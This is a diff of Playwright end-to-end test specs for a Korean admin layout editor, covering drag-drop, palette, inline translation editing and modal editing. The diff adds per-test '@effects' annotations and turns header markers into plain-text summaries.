/** @effects live_add_li_edit_text_reorder_save_persists_to_user_page, editor_save_specs_target_sandbox_layout_not_product_layout, editor_save_persists_and_survives_reload_on_sandbox */
test('children 편집 후 저장 → PUT 200 + reload 영속', async ({ page }) => {
test.setTimeout(60_000); // 저장 + reload 합산 — 기본 30s 부족
@@ -213,6 +215,7 @@ test.describe('@layout-editor children 노드 에디터(목록 빌트인)', () =
// 겹친 부모 선택 — 캔버스 클릭은 늘 가장 깊은 자식을 잡으므로(closest), 부모/자식 크기가
// 같은 Ul>Li 같은 경우 자식만 잡힌다. 선택 박스 위 타입 칩(↑)을 클릭하거나 키보드 ↑/Esc 로
// 한 단계씩 상위(부모)를 선택한다(상용 편집기 공통 — 부모는 별도 어포던스).
/** @effects keyboard_arrowup_escape_escalates_selection_to_parent, overlapping_child_selected_type_chip_escalates_to_parent */
test('겹친 자식 선택 후 타입 칩(↑)/키보드 ↑로 부모(Ul) escalation', async ({ page }) => {
await gotoEditor(page);
const ulPath = await addUl(page);
@@ -12,8 +12,8 @@
* 레이아웃이므로 템플릿 자체 E2E(templates/_bundled/sirsoft-admin_basic/tests/Playwright)
* 가 커버한다 — 본 코어 spec 은 위지윅 chrome 책임만.
*
* @scenario preview_device + custom_width_input + toolbar_action + selected_box_size + affordance_kind + mobile_closed_drawer_clipping + route_tree_node_source_kind
* @effects preview_custom_device_uses_clamped_input_width_as_override + toolbar_exit_navigates_to_template_list_by_type + toolbar_edit_code_opens_text_layout_editor_in_new_window_with_route + toolbar_save_shows_spinner_while_pending_then_restores + insertion_affordances_cross_layout_when_box_lt_44_no_overlap_no_clip + mobile_preview_closed_drawer_clipped_inside_frame_not_visible + route_tree_item_shows_layout_file_path_under_label_with_source_prefix
* 축 요약(마커 아님 — 평문): preview_device, custom_width_input, toolbar_action, selected_box_size, affordance_kind, mobile_closed_drawer_clipping, route_tree_node_source_kind.
* 효과 요약(마커 아님 — 평문): preview_custom_device_uses_clamped_input_width_as_override, toolbar_exit_navigates_to_template_list_by_type, toolbar_edit_code_opens_text_layout_editor_in_new_window_with_route, toolbar_save_shows_spinner_while_pending_then_restores, insertion_affordances_cross_layout_when_box_lt_44_no_overlap_no_clip, mobile_preview_closed_drawer_clipped_inside_frame_not_visible, route_tree_item_shows_layout_file_path_under_label_with_source_prefix.
*/
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
@@ -30,6 +30,7 @@ async function enterEditor(page: import('@playwright/test').Page): Promise<void>
}
test.describe('@layout-editor chrome controls', () => {
/** @effects preview_custom_device_uses_clamped_input_width_as_override */
test('결함 2 — custom 디바이스 선택 시 width 입력 노출 + 프레임 폭 반영', async ({ page }) => {
await enterEditor(page);
@@ -50,6 +51,7 @@ test.describe('@layout-editor chrome controls', () => {
.toBe(500);
});
/** @effects toolbar_exit_navigates_to_template_list_by_type */
test('결함 4 — 나가기 버튼 클릭 시 user 템플릿 목록(/admin/templates/user)으로 이탈', async ({ page }) => {
// sirsoft-basic 은 user 템플릿 → 나가기 목적지는 /admin/templates/user
await enterEditor(page);
@@ -60,6 +62,7 @@ test.describe('@layout-editor chrome controls', () => {
expect(page.url()).toMatch(/\/admin\/templates\/user/);
});
/** @effects toolbar_edit_code_opens_text_layout_editor_in_new_window_with_route */
test('결함 5 — 코드편집 버튼 클릭 시 선택 route 를 ?route= 로 실어 새 창으로 연다', async ({ page, context }) => {
// EDITOR_URL 은 ?route=%2F (홈) 선택 상태 → 코드편집기를 새 창(_blank)으로 열고
// ?route=/ 동기화. 위지윅 편집 화면(page)은 그대로 유지된다.
@@ -95,6 +98,7 @@ test.describe('@layout-editor chrome controls', () => {
await expect(page.getByTestId('g7le-palette-item-Button-tag')).toHaveText('<Button>');
});
/** @effects route_tree_item_shows_layout_file_path_under_label_with_source_prefix */
test('후속 — 좌측 트리 라우트 노드에 레이아웃 파일 경로가 라벨 하단에 노출 (출처 prefix)', async ({ page }) => {
// sirsoft-basic 은 템플릿 소스 → 경로 표기는 "layouts/{layoutName}.json".
// 트리의 라우트 항목마다 라벨 아래 회색 보조 줄(g7le-route-tree-layout-path)이
@@ -133,6 +137,7 @@ test.describe('@layout-editor chrome controls', () => {
expect(result.groupHasPath).toBe(false);
});
/** @effects insertion_affordances_cross_layout_when_box_lt_44_no_overlap_no_clip */
test('결함 7 재조사 — 작은 요소 선택 시 삽입 어포던스가 박스 중심 십자로 비겹침·비잘림', async ({ page }) => {
// 인라인 텍스트(Span) 추가 → 작은 박스(폭<44) 선택 → 4방향 + 버튼이 박스
// 중심 기준 위/아래/좌/우 십자로 벌어져 서로/박스와 겹치지 않고, 캔버스에도
@@ -206,6 +211,7 @@ test.describe('@layout-editor chrome controls', () => {
expect(geom.leftRightSameCy).toBe(true);
});
/** @effects mobile_preview_closed_drawer_clipped_inside_frame_not_visible */
test('회귀 — 모바일 프리뷰의 닫힌 메뉴 드로어가 frame 밖으로 노출되지 않는다', async ({ page }) => {
// 닫힌 모바일 드로어(mobile_nav_drawer)는 `position: fixed` + `translate-x-full`
// 로 화면 밖에 밀려 있어야 한다. frame 이 자체 transform 을 잃으면 fixed 자손의
@@ -19,8 +19,8 @@
* dnd-kit 비호환(feedback_chrome_mcp_dnd_kit_incompatible) 회피 — 노드 선택은 합성 마우스
* 이벤트 시퀀스로 드래그 핸들 pointer 가로채기를 우회한다.
*
* @scenario property_modal_visibility_preset_recognition + visibility_compound_stays_advanced + numeric_array_preset_recognition + explicit_boolean_compare_preset_recognition + comparison_pattern_preset_recognition + coverage_gate_presets_served
* @effects visibility_builder_renders + variant_defense_no_false_positive + stage2_numeric_array_presets_served + stage3_boolean_compare_presets_served + stage4_comparison_presets_served + stage5_gate_presets_served
* 축 요약(마커 아님 — 평문): property_modal_visibility_preset_recognition, visibility_compound_stays_advanced, numeric_array_preset_recognition, explicit_boolean_compare_preset_recognition, comparison_pattern_preset_recognition, coverage_gate_presets_served.
* 효과 요약(마커 아님 — 평문): visibility_builder_renders, variant_defense_no_false_positive, stage2_numeric_array_presets_served, stage3_boolean_compare_presets_served, stage4_comparison_presets_served, stage5_gate_presets_served.
*/
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
@@ -83,6 +83,7 @@ async function openVisibilityTab(page: PwPage, path: string): Promise<boolean> {
}
test.describe('@layout-editor 표시조건 변종 방어 인프라 (단계 0)', () => {
/** @effects visibility_builder_renders */
test('표시조건 탭이 빌더 또는 no-recipes 로 렌더 (인프라 배선 회귀 가드)', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -110,6 +111,7 @@ test.describe('@layout-editor 표시조건 변종 방어 인프라 (단계 0)',
expect(opened).toBe(true);
});
/** @effects stage2_numeric_array_presets_served */
test('P2/P3 operator 가 served editor-spec 에 노출 + 숫자/배열 패턴 인식', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -136,6 +138,7 @@ test.describe('@layout-editor 표시조건 변종 방어 인프라 (단계 0)',
}
});
/** @effects stage3_boolean_compare_presets_served */
test('P5 valueIsTrue/valueIsFalse 가 served editor-spec 에 노출', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -166,6 +169,7 @@ test.describe('@layout-editor 표시조건 변종 방어 인프라 (단계 0)',
}
});
/** @effects stage4_comparison_presets_served */
test('단계 4 비교 패턴 operator 가 served editor-spec 에 노출', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -197,6 +201,7 @@ test.describe('@layout-editor 표시조건 변종 방어 인프라 (단계 0)',
}
});
/** @effects stage5_gate_presets_served */
test('60% 게이트 토대 프리셋 18종이 양 템플릿 served editor-spec 에 전부 노출', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -231,6 +236,7 @@ test.describe('@layout-editor 표시조건 변종 방어 인프라 (단계 0)',
}
});
/** @effects variant_defense_no_false_positive */
test('콘솔/네트워크 에러 없이 표시조건 모달 진입 (variant-defense 무결성)', async ({ page }) => {
const consoleErrors: string[] = [];
page.on('console', (msg) => {
@@ -14,10 +14,10 @@
* - sirsoft-basic: Button → rounded-lg, Input → border 패턴
* - sirsoft-admin_basic: Button → bg-blue-600, Input → "input" 유틸 클래스
*
* @scenario palette_open + default_node_source:editorSpecDefaultNode
* @effects palette_default_node_className_replicated_into_inserted_node
* @effects palette_default_node_className_reflects_template_design_system_tokens
* @effects palette_default_node_button_omits_variant_size_uses_className_only
* 축 요약(마커 아님 — 평문): palette_open, default_node_source:editorSpecDefaultNode.
* 효과 요약(마커 아님 — 평문): palette_default_node_className_replicated_into_inserted_node.
* 효과 요약(마커 아님 — 평문): palette_default_node_className_reflects_template_design_system_tokens.
* 효과 요약(마커 아님 — 평문): palette_default_node_button_omits_variant_size_uses_className_only.
*/
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
@@ -32,6 +32,7 @@ const probes: Probe[] = [
test.describe('@layout-editor defaultNode 공통 디자인 반영', () => {
for (const { template, component, token } of probes) {
/** @effects palette_default_node_className_replicated_into_inserted_node, palette_default_node_className_reflects_template_design_system_tokens, palette_default_node_button_omits_variant_size_uses_className_only */
test(`${template} — ${component} 추가 시 캔버스에 "${token}" className 반영`, async ({ page }) => {
const tokenAuth = issueToken('core.templates.layouts.edit');
await authenticatePage(page, tokenAuth);
@@ -22,7 +22,7 @@
* 슬롯 레벨 한정(자기 자손·래퍼 밖 break-out 슬롯 부재).
*
* @scenario drag_drop reorder
* @effects drag_handle_present_for_draggable + explicit_drop_slots_render + drop_slots_scoped_to_relevant_levels + editor_attrs_passthrough_marks_nesting_nodes + drop_slots_span_all_accepting_containers + handle_zindex_depth_ordered + selection_based_drag_substitution + child_reselect_under_selected_parent + inner_child_nests_into_sibling_filled_card + nav_destination_unreachable_affordance_hidden + data_bound_node_draggable_and_selectable + iteration_instance_not_individually_draggable + iteration_virtual_group_select_move_ghost
* 효과 요약(마커 아님 — 평문): drag_handle_present_for_draggable, explicit_drop_slots_render, drop_slots_scoped_to_relevant_levels, editor_attrs_passthrough_marks_nesting_nodes, drop_slots_span_all_accepting_containers, handle_zindex_depth_ordered, selection_based_drag_substitution, child_reselect_under_selected_parent, inner_child_nests_into_sibling_filled_card, nav_destination_unreachable_affordance_hidden, data_bound_node_draggable_and_selectable, iteration_instance_not_individually_draggable, iteration_virtual_group_select_move_ghost.
*/
import type { Page } from '@playwright/test';
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
@@ -104,6 +104,7 @@ test.describe('@layout-editor drag-drop reorder', () => {
}).catch(() => { /* 페이지 닫힘 등 무시 */ });
});
/** @effects drag_handle_present_for_draggable */
test('드래그 핸들이 draggable 노드에만 렌더된다', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -126,6 +127,7 @@ test.describe('@layout-editor drag-drop reorder', () => {
expect(mapped, '모든 일반 드래그 핸들이 실제 editor-path 노드에 매핑되어야 함').toBe(true);
});
/** @effects explicit_drop_slots_render */
test('드래그 중 고스트가 body 포털 + 실제 컴포넌트 복제 + 커서 정합, 드롭 슬롯 표시', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -184,6 +186,7 @@ test.describe('@layout-editor drag-drop reorder', () => {
expect(slotsAfter, '드롭 후 슬롯은 사라져야 함').toBe(0);
});
/** @effects drop_slots_scoped_to_relevant_levels */
test('드롭 슬롯이 드래그 노드의 관련 레벨로 한정 — 자기 자손/래퍼 밖 break-out 슬롯 없음', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -252,6 +255,7 @@ test.describe('@layout-editor drag-drop reorder', () => {
* 본 테스트는 stat 카드(composite StatCard)와 그 조상 컨테이너(layout)가 모두
* [data-editor-path] 로 잡히는지 확인 — editorAttrs 가 composite/layout 루트에 도달했다는 증거.
*/
/** @effects editor_attrs_passthrough_marks_nesting_nodes */
test('composite/layout nesting 노드가 editorAttrs spread 로 [data-editor-path] 표식을 보유', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -299,6 +303,7 @@ test.describe('@layout-editor drag-drop reorder', () => {
* 드래그 시작하면 그 노드의 **부모가 아닌 다른 컨테이너**에도 드롭 슬롯이 생성된다.
* (이전: 부모/직접 형제만 슬롯 → 다른 컨테이너로 못 넣음.)
*/
/** @effects drop_slots_span_all_accepting_containers */
test('드롭 슬롯이 드래그 노드의 부모 외 다른 컨테이너에도 생성 (결함 1: 컨테이너 간 이동)', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -344,6 +349,7 @@ test.describe('@layout-editor drag-drop reorder', () => {
* z 를 낮추면 부모 핸들이 자식 영역을 덮어 "부모 선택 상태에서 자식 재선택 불가" 결함이
* 났다. 검증: 부모-자식 핸들 쌍에서 자식 z > 부모 z.
*/
/** @effects handle_zindex_depth_ordered */
test('드래그 핸들 z-index 가 트리 깊이순 — 자식이 부모보다 위 (결함 2: 클릭 우선순위)', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -384,6 +390,7 @@ test.describe('@layout-editor drag-drop reorder', () => {
* 노드로 치환), (b) 자식을 단순 클릭하면 자식이 재선택된다. 검증: 부모 선택 후 자식 영역에서
* 드래그 시작 시 부모 자기/자손 컨테이너 슬롯이 제외됨(=부모가 드래그 대상으로 치환된 증거).
*/
/** @effects selection_based_drag_substitution, child_reselect_under_selected_parent */
test('부모 선택 후 자식 영역 드래그 → 선택 부모가 끌림 + 자식 클릭 시 재선택 (결함 2: 선택 기준 드래그)', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -481,6 +488,7 @@ test.describe('@layout-editor drag-drop reorder', () => {
* 으로 확장했다. 검증: 카드 내부 자식을 드래그 시작하면 **형제 카드(또는 그 자손)에 드롭 슬롯**
* 이 생성된다(아이콘을 다른 카드로 옮길 수 있음).
*/
/** @effects inner_child_nests_into_sibling_filled_card */
test('카드 내부 자식을 드래그하면 형제(채워진) 카드에 드롭 슬롯 생성', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -536,6 +544,7 @@ test.describe('@layout-editor drag-drop reorder', () => {
* 선택해도 "편집기에서 이동할 수 없습니다" 안내(destination_unreachable)는 표시되지
* 않는다. 어차피 편집기에서 미작동하므로 어포던스 자체를 제거(드래그 재배치 오해 방지).
*/
/** @effects nav_destination_unreachable_affordance_hidden */
test('네비 어포던스 미표시 — destination_unreachable 어포던스가 DOM 에 없음', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -560,6 +569,7 @@ test.describe('@layout-editor drag-drop reorder', () => {
* sirsoft-basic home 에는 data_bound composite 가 적을 수 있어, "핸들이 달린
* data_bound 노드가 1개 이상 존재"로 확인(없으면 skip 처리하지 않고 핸들↔노드 매핑만).
*/
/** @effects data_bound_node_draggable_and_selectable */
test('data_bound 요소도 드래그 핸들을 가져 선택/이동 가능', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -580,6 +590,7 @@ test.describe('@layout-editor drag-drop reorder', () => {
* iteration 펼침 인스턴스(`...iteration.N`)와 그 내부 노드는 **개별** 드래그 핸들을
* 갖지 않는다 — 개별 인스턴스를 직접 옮기면 안 되기 때문(묶음은 아래 가상 묶음으로).
*/
/** @effects iteration_instance_not_individually_draggable */
test('반복 인스턴스/내부 노드는 개별 드래그 핸들 미생성', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -613,6 +624,7 @@ test.describe('@layout-editor drag-drop reorder', () => {
* iteration 원본 path 로 1개, box 는 인스턴스 union. 클릭 시 묶음 union 이 선택되고,
* 드래그 시작 시 원본 노드가 드래그 대상(자기/자손 슬롯 제외) + 고스트 표시.
*/
/** @effects iteration_virtual_group_select_move_ghost */
test('이터레이션 가상 묶음 — 묶음 핸들 생성 + union 선택 + 원본 노드 드래그 + 고스트', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -16,8 +16,8 @@
* PasswordInput.test.tsx 가 data-editor-* 루트 부착을 잠근다. 본 Playwright 는 실제 편집기
* 팔레트 필터 연동 + propControl→DOM 라운드트립을 브라우저로 검증한다.
*
* @scenario empty_container_first_child + form_propcontrol_edit
* @effects empty_container_global_palette_filters_by_own_accepts_not_parent + palette_filters_by_parent_accepts
* 축 요약(마커 아님 — 평문): empty_container_first_child, form_propcontrol_edit.
* 효과 요약(마커 아님 — 평문): empty_container_global_palette_filters_by_own_accepts_not_parent, palette_filters_by_parent_accepts.
*/
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
import type { Page } from '@playwright/test';
@@ -92,6 +92,7 @@ async function addEmptyDiv(page: Page): Promise<string> {
}
test.describe('@layout-editor 빈 컨테이너 첫 자식 + 폼 propControl', () => {
/** @effects empty_container_global_palette_filters_by_own_accepts_not_parent, palette_filters_by_parent_accepts */
test('빈 Div 선택 시 팔레트가 그 Div 의 accepts(폼 포함)로 필터된다 (결함#1)', async ({ page }) => {
await gotoEditor(page);
@@ -8,8 +8,8 @@
* E. text 미보유/데이터 결정 노드 → 더블클릭해도 인라인 편집 비활성(편집기 미노출).
* F. 속성 모달 [번역] 탭 — 커스텀 키 노드는 로케일별 일괄 편집 폼, 평문은 "키 아님" 안내.
*
* @scenario locale_switch_canvas_only + inline_edit_existing_key_to_new_custom_key + inline_edit_real_mouse_via_dnd_handle + canvas_renders_value_not_raw_key + inline_edit_disabled_binding + toolbar_spec_based + translation_tab_bulk_edit
* @effects locale_switcher_changes_only_canvas_content_locale_not_chrome + inline_edit_plain_text_generates_custom_key_via_post_endpoint + inline_edit_replaces_comp_text_with_t_custom_key + inline_edit_real_mouse_double_click_via_dnd_handle_forward + canvas_rerenders_custom_key_value_after_server_lang_refetch + inline_edit_disabled_for_binding_expression_text + inline_toolbar_buttons_filtered_by_componentCapability_styleControls + inline_toolbar_omits_list_table_image_buttons + translation_field_displays_all_active_locales_in_modal
* 축 요약(마커 아님 — 평문): locale_switch_canvas_only, inline_edit_existing_key_to_new_custom_key, inline_edit_real_mouse_via_dnd_handle, canvas_renders_value_not_raw_key, inline_edit_disabled_binding, toolbar_spec_based, translation_tab_bulk_edit.
* 효과 요약(마커 아님 — 평문): locale_switcher_changes_only_canvas_content_locale_not_chrome, inline_edit_plain_text_generates_custom_key_via_post_endpoint, inline_edit_replaces_comp_text_with_t_custom_key, inline_edit_real_mouse_double_click_via_dnd_handle_forward, canvas_rerenders_custom_key_value_after_server_lang_refetch, inline_edit_disabled_for_binding_expression_text, inline_toolbar_buttons_filtered_by_componentCapability_styleControls, inline_toolbar_omits_list_table_image_buttons, translation_field_displays_all_active_locales_in_modal.
*/
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
import type { Page } from '@playwright/test';
@@ -67,6 +67,7 @@ async function selectNode(page: Page, editorPath: string): Promise<void> {
}
test.describe('@layout-editor 다국어 인라인 편집 (Phase 6 S8-2)', () => {
/** @effects locale_switcher_changes_only_canvas_content_locale_not_chrome */
test('A. 로케일 전환 — 캔버스 콘텐츠 로케일만 변경(편집기 chrome 불변)', async ({ page }) => {
await openEditorLogin(page);
// 로케일 스위처가 노출되면(활성 로케일 2개 이상) 전환 동작 검증, 1개면 단일 라벨.
@@ -88,6 +89,7 @@ test.describe('@layout-editor 다국어 인라인 편집 (Phase 6 S8-2)', () =>
}
});
/** @effects inline_edit_plain_text_generates_custom_key_via_post_endpoint, inline_edit_replaces_comp_text_with_t_custom_key, inline_edit_real_mouse_double_click_via_dnd_handle_forward, canvas_rerenders_custom_key_value_after_server_lang_refetch */
test('B+C+D. 기존 $t: 키 텍스트 더블클릭(실제 마우스) → 인라인 편집기 → Enter 확정 → POST 키 생성 → 캔버스가 raw 키가 아닌 입력값 표시', async ({ page }) => {
await openEditorLogin(page);
@@ -126,6 +128,7 @@ test.describe('@layout-editor 다국어 인라인 편집 (Phase 6 S8-2)', () =>
.toBe('환영 인사 변경');
});
/** @effects inline_toolbar_buttons_filtered_by_componentCapability_styleControls, inline_toolbar_omits_list_table_image_buttons */
test('D. 서식 툴바 — styleControls 기반 버튼만, 목록/표/이미지 버튼 부재', async ({ page }) => {
await openEditorLogin(page);
await dblClickNode(page, HEADING);
@@ -140,6 +143,7 @@ test.describe('@layout-editor 다국어 인라인 편집 (Phase 6 S8-2)', () =>
}
});
/** @effects inline_edit_disabled_for_binding_expression_text */
test('E. 바인딩식/데이터 결정 노드 → 더블클릭해도 인라인 편집 미진입', async ({ page }) => {
await openEditorLogin(page);
// 카드 전체(Div, text 없음) 더블클릭 → 편집기 미노출(편집 불가 노드).
@@ -150,6 +154,7 @@ test.describe('@layout-editor 다국어 인라인 편집 (Phase 6 S8-2)', () =>
await expect(page.getByTestId('g7le-inline-text-editable')).toHaveCount(0);
});
/** @effects translation_field_displays_all_active_locales_in_modal */
test('F. 속성 모달 [번역] 탭 — 평문 노드는 "키 아님" 안내', async ({ page }) => {
await openEditorLogin(page);
await selectNode(page, HEADING);
@@ -4,8 +4,8 @@
* 반복 항목(iteration_item) 편집 모드의 4종을 브라우저에서 가드한다. 단위 테스트는
* URL pushState/popstate, 오버레이 레이어 hit-test, 캐시 무효화→재fetch render-cycle 을 모사 못 함.
*
* @scenario iteration_edit_entry + save_invalidation + exit_return + inline_double_click + lock_visibility
* @effects url_direct_entry_renders_iteration_mode_with_host + exit_iteration_edit_returns_to_host_route + iteration_save_invalidates_host_route_cache_and_busts_get + double_click_plain_text_enters_inline_edit + data_bound_node_shows_data_area_notice
* 축 요약(마커 아님 — 평문): iteration_edit_entry, save_invalidation, exit_return, inline_double_click, lock_visibility.
* 효과 요약(마커 아님 — 평문): url_direct_entry_renders_iteration_mode_with_host, exit_iteration_edit_returns_to_host_route, iteration_save_invalidates_host_route_cache_and_busts_get, double_click_plain_text_enters_inline_edit, data_bound_node_shows_data_area_notice.
*/
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
import { editorPath as resolveEditorPath } from '../../fixtures/layout-editor';
@@ -44,6 +44,7 @@ async function gotoIterationEdit(page: import('@playwright/test').Page): Promise
test.describe('@layout-editor 반복 항목 편집 — 저장/복귀/인라인/잠금가시', () => {
// URL 다이렉트 진입 시 반복 항목 편집 모드 + 호스트(인기글) 인플레이스 렌더.
/** @effects url_direct_entry_renders_iteration_mode_with_host */
test('URL 다이렉트 진입 → iteration_item 모드 + 호스트 렌더', async ({ page }) => {
await gotoIterationEdit(page);
await expect(page.locator('[data-mode="iteration_item"]')).toBeAttached({ timeout: 20_000 });
@@ -54,6 +55,7 @@ test.describe('@layout-editor 반복 항목 편집 — 저장/복귀/인라인/
});
// 편집 종료 시 호스트 라우트로 복귀("라우트 선택" 화면 회귀 방지).
/** @effects exit_iteration_edit_returns_to_host_route */
test('편집 종료 → 호스트 라우트(?route=/boards/popular)로 복귀', async ({ page }) => {
await gotoIterationEdit(page);
// "반복 항목 편집 종료" 버튼.
@@ -67,6 +69,7 @@ test.describe('@layout-editor 반복 항목 편집 — 저장/복귀/인라인/
// 렌더된 텍스트만으로는 평문/바인딩을 구분할 수 없으므로(렌더 결과엔 중괄호가 없음 — 인기글
// 카드는 전부 바인딩), 불변식은 "인라인 편집기(contenteditable) 또는 데이터 영역 안내 중
// 하나가 반드시 뜬다"로 가드한다(평문→인라인 D-33 / 바인딩→안내 D-34, 무반응이면 실패).
/** @effects double_click_plain_text_enters_inline_edit */
test('항목 안 텍스트 더블클릭 → 인라인 편집 또는 데이터 영역 안내(무반응 금지)', async ({ page }) => {
await gotoIterationEdit(page);
const found = await page.evaluate((srcPath) => {
@@ -93,6 +96,7 @@ test.describe('@layout-editor 반복 항목 편집 — 저장/복귀/인라인/
// 항목 안 데이터 바인딩 노드 선택 시 "데이터 영역은 직접 편집할 수 없습니다" 안내 표시
// (일반 편집기와 동일 가시). iteration 범위 안이라고 무반응이면 안 된다.
/** @effects data_bound_node_shows_data_area_notice */
test('데이터 바인딩 노드 선택 → "데이터 영역" 안내 표시', async ({ page }) => {
await gotoIterationEdit(page);
// 바인딩 텍스트(제목 등) 좌표 클릭.
@@ -14,12 +14,13 @@
* 본 spec 은 실제 브라우저 DOM 에서 중복 id 0 + 미보간 리터럴 0 을 잠근다(단위/시뮬레이션은
* 보간 부재로 인한 reconciliation 합쳐짐을 포착하지 못해 실측이 필수 — feedback #238 계열).
*
* @scenario admin_dashboard_render + layout_editor_core_id_chip
* @effects html_id_unique_no_duplicates + no_uninterpolated_literal_id + core_id_chip_affordance
* 축 요약(마커 아님 — 평문): admin_dashboard_render, layout_editor_core_id_chip.
* 효과 요약(마커 아님 — 평문): html_id_unique_no_duplicates, no_uninterpolated_literal_id, core_id_chip_affordance.
*/
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
test.describe('@layout-editor iteration id 유일성', () => {
/** @effects html_id_unique_no_duplicates, no_uninterpolated_literal_id */
test('관리자 대시보드 렌더 시 HTML id 중복 0 + 미보간 리터럴 0', async ({ page }) => {
const token = issueToken(
'core.dashboard.read',
@@ -67,6 +68,7 @@ test.describe('@layout-editor iteration id 유일성', () => {
expect(report.duplicates, `중복 HTML id: ${report.duplicates.join(', ')}`).toEqual([]);
});
/** @effects core_id_chip_affordance */
test('레이아웃 편집기 요소 ID 칸에 데이터 칩 진입점(BindingChipTextInput) 노출', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -17,7 +17,7 @@
* 콘텐츠로 보존한다.
*
* @scenario selected_node_state=extension_locked_selected,data_bound_selected
* @effects locked_node_shows_insertion_plus_via_anchor + insertion_inserts_outside_locked_group_as_sibling
* 효과 요약(마커 아님 — 평문): locked_node_shows_insertion_plus_via_anchor, insertion_inserts_outside_locked_group_as_sibling.
*/
import type { Page } from '@playwright/test';
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
@@ -94,6 +94,7 @@ async function selectByText(page: Page, matcher: string, maxLen: number): Promis
}
test.describe('@layout-editor 잠긴 영역 요소 추가(+) 복원', () => {
/** @effects locked_node_shows_insertion_plus_via_anchor */
test('확장 주입 조각 선택 → 잠금이어도 + 버튼이 조각 박스 경계에 화면 내 노출', async ({ page }) => {
await openRegisterEditor(page);
const res = await selectByText(page, '마케팅 동의|광고성 이메일', 30);
@@ -105,6 +106,7 @@ test.describe('@layout-editor 잠긴 영역 요소 추가(+) 복원', () => {
expect(res.enabledInViewCount as number).toBeGreaterThan(0);
});
/** @effects locked_node_shows_insertion_plus_via_anchor */
test('데이터 반복(인기글/최근글) 영역 선택 → data_bound 여도 + 버튼이 화면 내 노출', async ({ page }) => {
await openHomeEditor(page);
const res = await selectByText(page, '최근 게시글|샘플 게시글|게시글', 30);
@@ -15,8 +15,8 @@
* 세 번째 케이스(클리핑 차단)는 이 수정의 회귀 가드가 아니라 그 **전제**를 잠근다 — 상세는
* 해당 테스트 주석 참조.
*
* @scenario editor_min_width + narrow_viewport_no_squish + horizontal_scroll
* @effects shell_keeps_min_width_below_viewport, toolbar_items_keep_natural_width_no_wrap, narrow_window_produces_horizontal_scroll_not_compression
* 축 요약(마커 아님 — 평문): editor_min_width, narrow_viewport_no_squish, horizontal_scroll.
* 효과 요약(마커 아님 — 평문): shell_keeps_min_width_below_viewport, toolbar_items_keep_natural_width_no_wrap, narrow_window_produces_horizontal_scroll_not_compression.
*/
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
import type { Page } from '@playwright/test';
@@ -36,6 +36,7 @@ async function gotoEditor(page: Page, route = '%2F'): Promise<void> {
}
test.describe('레이아웃 편집기 — 좁은 창 압착 차단', () => {
/** @effects shell_keeps_min_width_below_viewport */
test('좁은 창에서도 셸이 최소 너비를 유지한다 (압착 없음)', async ({ page }) => {
await page.setViewportSize({ width: NARROW_WIDTH, height: 900 });
await gotoEditor(page);
@@ -47,6 +48,7 @@ test.describe('레이아웃 편집기 — 좁은 창 압착 차단', () => {
expect(shellWidth).toBeGreaterThanOrEqual(EDITOR_MIN_WIDTH);
});
/** @effects toolbar_items_keep_natural_width_no_wrap */
test('좁은 창에서 툴바 항목이 깎이거나 줄바꿈되지 않는다', async ({ page }) => {
// 넓은 창에서 각 툴바 항목의 자연 폭·높이를 먼저 측정한다.
await page.setViewportSize({ width: 1600, height: 900 });
@@ -69,6 +71,7 @@ test.describe('레이아웃 편집기 — 좁은 창 압착 차단', () => {
// 이 케이스가 잠그는 것은 별개의 전제다: 넘친 폭이 `overflow-x: hidden` 으로 **잘리지 않고**
// 스크롤로 접근 가능해야 최소 너비 설계가 성립한다. 호스트/템플릿 CSS 가 나중에 body 나
// #app 에 overflow-x:hidden 을 걸면 편집기 우측이 영영 닿을 수 없게 되는데, 그것을 여기서 잡는다.
/** @effects narrow_window_produces_horizontal_scroll_not_compression */
test('넘친 폭이 잘리지 않고 가로 스크롤로 접근 가능하다 (클리핑 차단)', async ({ page }) => {
await page.setViewportSize({ width: NARROW_WIDTH, height: 900 });
await gotoEditor(page);
@@ -5,8 +5,8 @@
* 비어 모달을 편집할 경로가 없었고, 모달 편집 진입 시 딤(잠긴 호스트) 영역으로 드래그/드롭이
* 가능했으며, `_user_base` 모달 저장이 extension_point 검증으로 422 였다.
*
* @scenario edit_mode + url_sync + dnd_confine
* @effects modal_collection_includes_partial_modals + modal_edit_renders_dim_and_blocker + dnd_handles_confined_to_modal_subtree + modal_edit_exit_clears_dim
* 축 요약(마커 아님 — 평문): edit_mode, url_sync, dnd_confine.
